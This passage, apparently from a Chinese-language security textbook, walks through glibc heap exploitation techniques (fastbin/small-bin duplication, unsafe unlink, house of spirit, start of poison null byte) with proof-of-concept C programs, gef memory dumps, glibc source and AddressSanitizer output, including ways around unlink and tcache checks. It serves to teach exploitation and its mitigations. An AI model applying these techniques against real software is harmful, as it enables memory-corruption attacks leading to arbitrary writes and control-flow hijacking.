+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+gef➤  heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x602000, bk=0x602000
+ →   Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 small non-empty bins.
+
+

p1 被再次放入 fastbins,于是 p1 同时存在于 fabins 和 small bins 中。

+

第一次 malloc,chunk 将从 fastbins 中取出:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1 [be freed], chunk p4
+0x602010:   0x0043434343434343  0x00007ffff7dd1b88
+0x602020:   0x0000000000000020  0x0000000000000020  <-- chunk p2
+0x602030:   0x4242424242424242  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000411  <-- chunk p3
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] 0x00
+gef➤  heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x602000, bk=0x602000
+ →   Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 small non-empty bins.
+
+

第二次 malloc,chunk 从 small bins 中取出:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p4, chunk p5
+0x602010:   0x4444444444444444  0x00007ffff7dd1b00
+0x602020:   0x0000000000000020  0x0000000000000021  <-- chunk p2
+0x602030:   0x4242424242424242  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000411  <-- chunk p3
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000
+
+

chunk p4 和 p5 在同一位置。

+ +
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+
+uint64_t *chunk0_ptr;
+
+int main() {
+    int malloc_size = 0x80; // not fastbins
+    int header_size = 2;
+
+    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
+    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
+    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
+    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
+
+    // pass this check: (P->fd->bk != P || P->bk->fd != P) == False
+    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
+    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
+    fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
+    fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
+    // pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
+    // chunk0_ptr[1] = 0x0; // or 0x8, 0x80
+
+    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
+    chunk1_hdr[0] = malloc_size;
+    chunk1_hdr[1] &= ~1;
+
+    // deal with tcache
+    // int *a[10];
+    // int i;
+    // for (i = 0; i < 7; i++) {
+    //   a[i] = malloc(0x80);
+    // }
+    // for (i = 0; i < 7; i++) {
+    //   free(a[i]);
+    // }
+    free(chunk1_ptr);
+
+    char victim_string[9];
+    strcpy(victim_string, "AAAAAAAA");
+    chunk0_ptr[3] = (uint64_t) victim_string;
+    fprintf(stderr, "Original value: %s\n", victim_string);
+
+    chunk0_ptr[0] = 0x4242424242424242LL;
+    fprintf(stderr, "New Value: %s\n", victim_string);
+}
+$ gcc -g unsafe_unlink.c
+$ ./a.out
+The global chunk0_ptr is at 0x601070, pointing to 0x721010
+The victim chunk we are going to corrupt is at 0x7210a0
+
+Fake chunk fd: 0x601058
+Fake chunk bk: 0x601060
+
+Original value: AAAAAAAA
+New Value: BBBBBBBB
+
+

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。

+

Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的:

+
/* Take a chunk off a bin list */
+#define unlink(AV, P, BK, FD) {                                            \
+    FD = P->fd;                                      \
+    BK = P->bk;                                      \
+    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
+      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
+    else {                                      \
+        FD->bk = BK;                                  \
+        BK->fd = FD;                                  \
+        if (!in_smallbin_range (P->size)                      \
+            && __builtin_expect (P->fd_nextsize != NULL, 0)) {              \
+        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          \
+        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
+          malloc_printerr (check_action,                      \
+                   "corrupted double-linked list (not small)",    \
+                   P, AV);                          \
+            if (FD->fd_nextsize == NULL) {                      \
+                if (P->fd_nextsize == P)                      \
+                  FD->fd_nextsize = FD->bk_nextsize = FD;              \
+                else {                                  \
+                    FD->fd_nextsize = P->fd_nextsize;                  \
+                    FD->bk_nextsize = P->bk_nextsize;                  \
+                    P->fd_nextsize->bk_nextsize = FD;                  \
+                    P->bk_nextsize->fd_nextsize = FD;                  \
+                  }                                  \
+              } else {                                  \
+                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              \
+                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              \
+              }                                      \
+          }                                      \
+      }                                          \
+}
+
+

在解链操作之前,针对堆块 P 自身的 fd 和 bk 检查了链表的完整性,即判断堆块 P 的前一块 fd 的指针是否指向 P,以及后一块 bk 的指针是否指向 P。

+

malloc_size 设置为 0x80,可以分配 small chunk,然后定义 header_size 为 2。申请两块空间,全局指针 chunk0_ptr 指向 chunk0,局部指针 chunk1_ptr 指向 chunk1:

+
gef➤  p &chunk0_ptr
+$1 = (uint64_t **) 0x601070 <chunk0_ptr>
+gef➤  x/gx &chunk0_ptr
+0x601070 <chunk0_ptr>:  0x0000000000602010
+gef➤  p &chunk1_ptr
+$2 = (uint64_t **) 0x7fffffffdc60
+gef➤  x/gx &chunk1_ptr
+0x7fffffffdc60: 0x00000000006020a0
+gef➤  x/40gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000091  <-- chunk 0
+0x602010:   0x0000000000000000  0x0000000000000000
+0x602020:   0x0000000000000000  0x0000000000000000
+0x602030:   0x0000000000000000  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000000
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000  0x0000000000000000
+0x602080:   0x0000000000000000  0x0000000000000000
+0x602090:   0x0000000000000000  0x0000000000000091  <-- chunk 1
+0x6020a0:   0x0000000000000000  0x0000000000000000
+0x6020b0:   0x0000000000000000  0x0000000000000000
+0x6020c0:   0x0000000000000000  0x0000000000000000
+0x6020d0:   0x0000000000000000  0x0000000000000000
+0x6020e0:   0x0000000000000000  0x0000000000000000
+0x6020f0:   0x0000000000000000  0x0000000000000000
+0x602100:   0x0000000000000000  0x0000000000000000
+0x602110:   0x0000000000000000  0x0000000000000000
+0x602120:   0x0000000000000000  0x0000000000020ee1  <-- top chunk
+0x602130:   0x0000000000000000  0x0000000000000000
+
+

接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False 的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 chunk0_ptr 构造 fake chunk 来绕过它:

+
gef➤  x/40gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000091  <-- chunk 0
+0x602010:   0x0000000000000000  0x0000000000000000  <-- fake chunk P
+0x602020:   0x0000000000601058  0x0000000000601060      <-- fd, bk pointer
+0x602030:   0x0000000000000000  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000000
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000  0x0000000000000000
+0x602080:   0x0000000000000000  0x0000000000000000
+0x602090:   0x0000000000000080  0x0000000000000090  <-- chunk 1 <-- prev_size
+0x6020a0:   0x0000000000000000  0x0000000000000000
+0x6020b0:   0x0000000000000000  0x0000000000000000
+0x6020c0:   0x0000000000000000  0x0000000000000000
+0x6020d0:   0x0000000000000000  0x0000000000000000
+0x6020e0:   0x0000000000000000  0x0000000000000000
+0x6020f0:   0x0000000000000000  0x0000000000000000
+0x602100:   0x0000000000000000  0x0000000000000000
+0x602110:   0x0000000000000000  0x0000000000000000
+0x602120:   0x0000000000000000  0x0000000000020ee1  <-- top chunk
+0x602130:   0x0000000000000000  0x0000000000000000
+gef➤  x/5gx 0x601058
+0x601058:   0x0000000000000000  0x00007ffff7dd2540  <-- fake chunk FD
+0x601068:   0x0000000000000000  0x0000000000602010      <-- bk pointer
+0x601078:   0x0000000000000000
+gef➤  x/5gx 0x601060
+0x601060:   0x00007ffff7dd2540  0x0000000000000000  <-- fake chunk BK
+0x601070:   0x0000000000602010  0x0000000000000000      <-- fd pointer
+0x601080:   0x0000000000000000
+
+

可以看到,我们在 chunk0 里构造一个 fake chunk,用 P 表示,两个指针 fd 和 bk 可以构成两条链:P->fd->bk == PP->bk->fd == P,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。

+

接下来就是释放掉 chunk1,这会触发 fake chunk 的 unlink 并覆盖 chunk0_ptr 的值。unlink 操作是这样进行的:

+
FD = P->fd;
+BK = P->bk;
+FD->bk = BK
+BK->fd = FD
+
+

根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:

+
FD = P->fd = &P - 24
+BK = P->bk = &P - 16
+FD->bk = *(&P - 24 + 24) = P
+FD->fd = *(&P - 16 + 16) = P
+
+

这样就通过了 unlink 的检查,最终效果为:

+
FD->bk = P = BK = &P - 16
+BK->fd = P = FD = &P - 24
+
+

原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24 的位置,这就意味着如果程序功能允许堆 P 进行写入,就能改写 P 指针自身的地址,从而造成任意内存写入。若允许堆 P 进行读取,则会造成信息泄漏。

+

在这个例子中,由于 P->fd->bk 和 P->bk->fd 都指向 P,所以最后的结果为:

+
chunk0_ptr = P = P->fd
+
+

成功地修改了 chunk0_ptr,这时 chunk0_ptrchunk0_ptr[3] 实际上就是同一东西。这里可能会有疑惑为什么这两个东西是一样的,因为 chunk0_ptr 指针在是放在数据段上的,地址在 0x601070,指向 0x601058,而 chunk0_ptr[3] 的意思是从 chunk0_ptr 指向的地方开始数 3 个单位,所以 0x601058+0x08*3=0x601070

+
gef➤  x/40gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000091  <-- chunk 0
+0x602010:   0x0000000000000000  0x0000000000020ff1  <-- fake chunk P
+0x602020:   0x0000000000601058  0x0000000000601060      <-- fd, bk pointer
+0x602030:   0x0000000000000000  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000000
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000  0x0000000000000000
+0x602080:   0x0000000000000000  0x0000000000000000
+0x602090:   0x0000000000000080  0x0000000000000090  <-- chunk 1 [be freed]
+0x6020a0:   0x0000000000000000  0x0000000000000000
+0x6020b0:   0x0000000000000000  0x0000000000000000
+0x6020c0:   0x0000000000000000  0x0000000000000000
+0x6020d0:   0x0000000000000000  0x0000000000000000
+0x6020e0:   0x0000000000000000  0x0000000000000000
+0x6020f0:   0x0000000000000000  0x0000000000000000
+0x602100:   0x0000000000000000  0x0000000000000000
+0x602110:   0x0000000000000000  0x0000000000000000
+0x602120:   0x0000000000000000  0x0000000000020ee1  <-- top chunk
+0x602130:   0x0000000000000000  0x0000000000000000
+gef➤  x/5gx 0x601058
+0x601058:   0x0000000000000000  0x00007ffff7dd2540  <-- fake chunk FD
+0x601068:   0x0000000000000000  0x0000000000601058      <-- bk pointer
+0x601078:   0x0000000000000000
+gef➤  x/5gx 0x601060
+0x601060:   0x00007ffff7dd2540  0x0000000000000000  <-- fake chunk BK
+0x601070:   0x0000000000601058  0x0000000000000000      <-- fd pointer
+0x601080:   0x0000000000000000
+gef➤  x/gx chunk0_ptr
+0x601058:   0x0000000000000000
+gef➤  x/gx chunk0_ptr[3]
+0x601058:   0x0000000000000000
+
+

所以,修改 chunk0_ptr[3] 就等于修改 chunk0_ptr

+
gef➤  x/5gx 0x601058
+0x601058:   0x0000000000000000  0x00007ffff7dd2540
+0x601068:   0x0000000000000000  0x00007fffffffdc70  <-- chunk0_ptr[3]
+0x601078:   0x0000000000000000
+gef➤  x/gx chunk0_ptr
+0x7fffffffdc70: 0x4141414141414141
+
+

这时 chunk0_ptr 就指向了 victim_string,修改它:

+
gef➤  x/gx chunk0_ptr
+0x7fffffffdc70: 0x4242424242424242
+
+

成功达成修改任意地址的成就。

+

最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 chunk_size == next->prev->chunk_size 的检查,以对抗单字节溢出的问题。补丁如下:

+
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
+commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
+Author: DJ Delorie <dj@delorie.com>
+Date:   Fri Mar 17 15:31:38 2017 -0400
+
+    Further harden glibc malloc metadata against 1-byte overflows.
+
+    Additional check for chunk_size == next->prev->chunk_size in unlink()
+
+    2017-03-17  Chris Evans  <scarybeasts@gmail.com>
+
+            * malloc/malloc.c (unlink): Add consistency check between size and
+            next->prev->size, to further harden against 1-byte overflows.
+
+diff --git a/malloc/malloc.c b/malloc/malloc.c
+index e29105c372..994a23248e 100644
+--- a/malloc/malloc.c
++++ b/malloc/malloc.c
+@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
+
+ /* Take a chunk off a bin list */
+ #define unlink(AV, P, BK, FD) {                                            \
++    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
++      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
+     FD = P->fd;                                                                      \
+     BK = P->bk;                                                                      \
+     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    \
+
+

具体是这样的:

+
/* Ptr to next physical malloc_chunk. */
+#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
+/* Get size, ignoring use bits */
+#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
+/* Like chunksize, but do not mask SIZE_BITS.  */
+#define chunksize_nomask(p)         ((p)->mchunk_size)
+/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
+#define prev_size(p) ((p)->mchunk_prev_size)
+/* Bits to mask off when extracting size  */
+#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+
+

回顾一下伪造出来的堆:

+
gef➤  x/40gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000091  <-- chunk 0
+0x602010:   0x0000000000000000  0x0000000000000000  <-- fake chunk P
+0x602020:   0x0000000000601058  0x0000000000601060      <-- fd, bk pointer
+0x602030:   0x0000000000000000  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000000
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000  0x0000000000000000
+0x602080:   0x0000000000000000  0x0000000000000000
+0x602090:   0x0000000000000080  0x0000000000000090  <-- chunk 1 <-- prev_size
+0x6020a0:   0x0000000000000000  0x0000000000000000
+0x6020b0:   0x0000000000000000  0x0000000000000000
+0x6020c0:   0x0000000000000000  0x0000000000000000
+0x6020d0:   0x0000000000000000  0x0000000000000000
+0x6020e0:   0x0000000000000000  0x0000000000000000
+0x6020f0:   0x0000000000000000  0x0000000000000000
+0x602100:   0x0000000000000000  0x0000000000000000
+0x602110:   0x0000000000000000  0x0000000000000000
+0x602120:   0x0000000000000000  0x0000000000020ee1  <-- top chunk
+0x602130:   0x0000000000000000  0x0000000000000000
+
+

这里有三种办法可以绕过该检查:

+
    +
  • +

    什么都不做。

    +
  • +
  • +

    chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0

    +
  • +
  • +

    prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0

    +
  • +
  • +

    设置

    +
  • +
+

chunk0_ptr[1] = 0x8

+

+
    +
  • chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8
  • +
  • +

    prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8

    +
  • +
  • +

    设置

    +
  • +
+

chunk0_ptr[1] = 0x80

+

+
    +
  • chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80
  • +
  • prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80
  • +
+

好的,现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步,libc-2.26 怎么利用,首先当然要先知道它新增了哪些漏洞缓解措施,其中一个神奇的东西叫做 tcache,这是一种线程缓存机制,每个线程默认情况下有 64 个大小递增的 bins,每个 bin 是一个单链表,默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的,所以在释放 chunk 1 的时候,chunk0_ptr 仍然指向正确的堆地址,而不是之前的 chunk0_ptr = P = P->fd。为了解决这个问题,一种可能的办法是给填充进特定大小的 chunk 把 bin 占满,就像下面这样:

+
    // deal with tcache
+    int *a[10];
+    int i;
+    for (i = 0; i < 7; i++) {
+        a[i] = malloc(0x80);
+    }
+    for (i = 0; i < 7; i++) {
+        free(a[i]);
+    }
+gef➤  p &chunk0_ptr
+$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>
+gef➤  x/gx 0x555555755070
+0x555555755070 <chunk0_ptr>:    0x00007fffffffdd0f
+gef➤  x/gx 0x00007fffffffdd0f
+0x7fffffffdd0f: 0x4242424242424242
+
+

现在 libc-2.26 版本下也成功利用了。tcache 是个很有趣的东西,更详细的内容我们会在专门的章节里去讲。

+

加上内存检测参数重新编译,可以看到 heap-buffer-overflow:

+
$ gcc -fsanitize=address -g unsafe_unlink.c
+$ ./a.out
+The global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80
+The victim chunk we are going to corrupt is at 0x60c00000bec0
+
+Fake chunk fd: 0x602218
+Fake chunk bk: 0x602220
+
+=================================================================
+==5591==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000beb0 at pc 0x000000400d74 bp 0x7ffd06423730 sp 0x7ffd06423720
+WRITE of size 8 at 0x60c00000beb0 thread T0
+    #0 0x400d73 in main /home/firmy/how2heap/unsafe_unlink.c:26
+    #1 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+    #2 0x400968 in _start (/home/firmy/how2heap/a.out+0x400968)
+
+0x60c00000beb0 is located 16 bytes to the left of 128-byte region [0x60c00000bec0,0x60c00000bf40)
+allocated by thread T0 here:
+    #0 0x7fc9261c4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
+    #1 0x400b12 in main /home/firmy/how2heap/unsafe_unlink.c:13
+    #2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+

house_of_spirit

+
#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    malloc(1);
+
+    fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
+    unsigned long long *a, *b;
+    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
+
+    fprintf(stderr, "The first one:  %p\n", &fake_chunks[0]);
+    fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
+
+    fake_chunks[1] = 0x20;      // the size
+    fake_chunks[5] = 0x1234;    // nextsize
+
+    fake_chunks[2] = 0x4141414141414141LL;
+    fake_chunks[6] = 0x4141414141414141LL;
+
+    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
+    a = &fake_chunks[2];
+
+    fprintf(stderr, "Freeing the overwritten pointer.\n");
+    free(a);
+
+    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
+    b = malloc(0x10);
+    fprintf(stderr, "malloc(0x10): %p\n", b);
+    b[0] = 0x4242424242424242LL;
+}
+$ gcc -g house_of_spirit.c
+$ ./a.out
+We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
+The first one:  0x7ffc782dae00
+The second one: 0x7ffc782dae20
+Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00.
+Freeing the overwritten pointer.
+Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10!
+malloc(0x10): 0x7ffc782dae10
+
+

house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制 EIP 来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被 free 的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个 fast bin 块的元数据,接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。

+

首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的,需要一个传递给 free 函数的可以被修改的指针,无论是通过栈溢出还是其它什么方式:

+
gef➤  x/10gx &fake_chunks
+0x7fffffffdcb0: 0x0000000000000000  0x0000000000000020  <-- fake chunk 1
+0x7fffffffdcc0: 0x4141414141414141  0x0000000000000000
+0x7fffffffdcd0: 0x0000000000000001  0x0000000000001234  <-- fake chunk 2
+0x7fffffffdce0: 0x4141414141414141  0x0000000000000000
+gef➤  x/gx &a
+0x7fffffffdca0: 0x0000000000000000
+
+

伪造 chunk 时需要绕过一些检查,首先是标志位,PREV_INUSE 位并不影响 free 的过程,但 IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 2*SIZE_SZ(即大于16),小于 av->system_mem(即小于128kb),才能绕过对 next chunk 大小的检查。

+

libc-2.23 中这些检查代码如下:

+
void
+__libc_free (void *mem)
+{
+  mstate ar_ptr;
+  mchunkptr p;                          /* chunk corresponding to mem */
+
+  [...]
+  p = mem2chunk (mem);
+
+  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
+    {
+      [...]
+      munmap_chunk (p);
+      return;
+    }
+
+  ar_ptr = arena_for_chunk (p);     // 获得 chunk 所属 arena 的地址
+  _int_free (ar_ptr, p, 0);         // 当 IS_MMAPPED 为零时调用
+}
+
+

mem 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换:

+
/* conversion from malloc headers to user pointers, and back */
+
+#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))
+#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
+
+

NON_MAIN_ARENA 为零时返回 main arena:

+
/* find the heap and corresponding arena for a given ptr */
+
+#define heap_for_ptr(ptr) \
+  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
+#define arena_for_chunk(ptr) \
+  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
+
+

这样,程序就顺利地进入了 _int_free 函数:

+
static void
+_int_free (mstate av, mchunkptr p, int have_lock)
+{
+  INTERNAL_SIZE_T size;        /* its size */
+  mfastbinptr *fb;             /* associated fastbin */
+
+  [...]
+  size = chunksize (p);
+
+  [...]
+  /*
+    If eligible, place chunk on a fastbin so it can be found
+    and used quickly in malloc.
+  */
+
+  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
+
+#if TRIM_FASTBINS
+      /*
+    If TRIM_FASTBINS set, don't place chunks
+    bordering top into fastbins
+      */
+      && (chunk_at_offset(p, size) != av->top)
+#endif
+      ) {
+
+    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
+    || __builtin_expect (chunksize (chunk_at_offset (p, size))
+                 >= av->system_mem, 0))
+      {
+        [...]
+        errstr = "free(): invalid next size (fast)";
+        goto errout;
+      }
+
+    [...]
+    set_fastchunks(av);
+    unsigned int idx = fastbin_index(size);
+    fb = &fastbin (av, idx);
+
+    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
+    mchunkptr old = *fb, old2;
+    [...]
+    do
+      {
+    [...]
+    p->fd = old2 = old;
+      }
+    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
+
+

其中下面的宏函数用于获得 next chunk:

+
/* Treat space at ptr + offset as a chunk */
+#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
+
+

然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置,即上面提到的 mem。然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk,然后将其释放并加入到 fastbin 中。

+
gef➤  x/gx &a
+0x7fffffffdca0: 0x00007fffffffdcc0
+gef➤  x/10gx &fake_chunks
+0x7fffffffdcb0: 0x0000000000000000  0x0000000000000020  <-- fake chunk 1 [be freed]
+0x7fffffffdcc0: 0x0000000000000000  0x0000000000000000
+0x7fffffffdcd0: 0x0000000000000001  0x0000000000001234  <-- fake chunk 2
+0x7fffffffdce0: 0x4141414141414141  0x0000000000000000
+0x7fffffffdcf0: 0x0000000000400820  0x00000000004005b0
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x7fffffffdcc0, size=0x20, flags=)
+
+

这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。

+
gef➤  x/10gx &fake_chunks
+0x7fffffffdcb0: 0x0000000000000000  0x0000000000000020  <-- new chunk
+0x7fffffffdcc0: 0x4242424242424242  0x0000000000000000
+0x7fffffffdcd0: 0x0000000000000001  0x0000000000001234  <-- fake chunk 2
+0x7fffffffdce0: 0x4141414141414141  0x0000000000000000
+0x7fffffffdcf0: 0x0000000000400820  0x00000000004005b0
+gef➤  x/gx &b
+0x7fffffffdca8: 0x00007fffffffdcc0
+
+

所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。

+

该技术的缺点也是需要对栈地址进行泄漏,否则无法正确覆盖需要释放的堆指针,且在构造数据时,需要满足对齐的要求等。

+

加上内存检测参数重新编译,可以看到问题所在,即尝试 free 一块不是由 malloc 分配的 chunk:

+
$ gcc -fsanitize=address -g house_of_spirit.c
+$ ./a.out
+We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
+The first one:  0x7fffa61d6c00
+The second one: 0x7fffa61d6c20
+Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00.
+Freeing the overwritten pointer.
+=================================================================
+==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0
+    #0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
+    #1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24
+    #2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+    #3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8)
+
+

house-of-spirit 在 libc-2.26 下的利用可以查看章节 4.14。

+

3.1.7 Linux 堆利用(中)

+ +

下载文件

+

how2heap

+

poison_null_byte

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+int main() {
+    uint8_t *a, *b, *c, *b1, *b2, *d;
+
+    a = (uint8_t*) malloc(0x10);
+    int real_a_size = malloc_usable_size(a);
+    fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
+    fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
+
+    b = (uint8_t*) malloc(0x100);
+    c = (uint8_t*) malloc(0x80);
+    fprintf(stderr, "b: %p\n", b);
+    fprintf(stderr, "c: %p\n", c);
+
+    uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
+    *(size_t*)(b+0xf0) = 0x100;
+    fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
+
+    // deal with tcache
+    // int *k[10], i;
+    // for (i = 0; i < 7; i++) {
+    //     k[i] = malloc(0x100);
+    // }
+    // for (i = 0; i < 7; i++) {
+    //     free(k[i]);
+    // }
+    free(b);
+    uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
+    fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);
+
